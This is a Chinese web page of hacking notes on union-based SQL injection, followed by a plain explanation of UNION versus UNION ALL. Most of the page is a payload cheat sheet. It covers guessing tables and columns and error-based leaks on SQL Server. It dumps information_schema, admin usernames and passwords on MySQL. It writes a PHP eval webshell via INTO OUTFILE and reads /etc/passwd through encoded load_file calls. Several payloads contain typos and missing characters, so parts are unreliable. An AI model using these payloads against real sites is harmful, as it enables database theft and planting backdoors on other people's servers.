搜索型的注入怎么联合查询

搜索型的注入怎么联合查询,第1张

order by 10 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1 很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2

方法1先猜表名 And (Select count() from 表名)<>0 猜列名 And (Select count(列名) from 表名)<>0 或者也可以这样 and exists (select from 表名) and exists (select 列名 from 表名) 返回正确的,那么写的表名或列名就是正确 这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)>3 这样是不行的 现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容 获得数据库连接用户名:;and user>0 这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解: ---------------------------------------------"重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarch" ---------------------------------------------看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。;and db_name()>0 则是暴数据库名。 一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是 Order by 10 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

字段长度
Order by num/
匹配字段
and 1=1 union select 1,2,3,4,5……n/
暴字段位置
and 1=2 union select 1,2,3,4,5…n/
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /
and 1=2 union all select database() /
and 1=2 union all select user() /
*** 作系统信息:
and 1=2 union all select @@globalversion_compile_os from mysqluser /
数据库权限:
and ord(mid(user(),1,1))=114 / 返回正常说明为root
暴库 (mysql>50)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schemaSCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schemaTABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schemaCOLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select … from mysqluser测试)
3、magic_quotes_gpc()=OFF
select ‘<php eval($_POST[cmd])>' into outfile ‘物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'
load_file() 常用路径:
1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页而无法查看到代码
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpdconf或/usr/local/apche/conf tpdconf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \>

一、区别

1、显示结果不同

union会自动压缩多个结果集合中的重复结果,而union all则将所有的结果全部显示出来。

2、对重复结果的处理不同

union all是直接连接,取到得是所有值,记录可能有重复;union 是取唯一值,记录没有重复。所以union在进行表链接后会筛选掉重复的记录,union all不会去除重复记录。

3、对排序的处理不同

union将会按照字段的顺序进行排序;union all只是简单的将两个结果合并后就返回。从效率上说,union all 要比union快很多,所以,如果可以确认合并的两个结果集中不包含重复数据且不需要排序时的话,那么就使用union all。

注意事项:

1、union 和 union all都可以将多个结果集合并,而不仅仅是两个,所以可将多个结果集串起来。

2、使用union和union all必须保证各个select 集合的结果有相同个数的列,并且每个列的类型是一样的。但列名则不一定需要相同,oracle会将第一个结果的列名作为结果集的列名。

二、使用方法

1、union:用于对多个select查询结果进行联合。

2、union all:用于对多个select查询结果进行联合。

3、union 和 union all 对select语句的要求:

(1)各个select查询语句中,各个select查询的列数的个数必须相同,不能1个select查询的列数是4列,而另一个select查询的列数是7列。

(2)各个select查询语句中,每个列的数据类型必须相同或相似。不能1个select的第1列是int类型,而另一个select的第1列是nvarchar类型。


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/yw/13346332.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-07-19
下一篇 2023-07-19

发表评论

登录后才能评论

评论列表(0条)

保存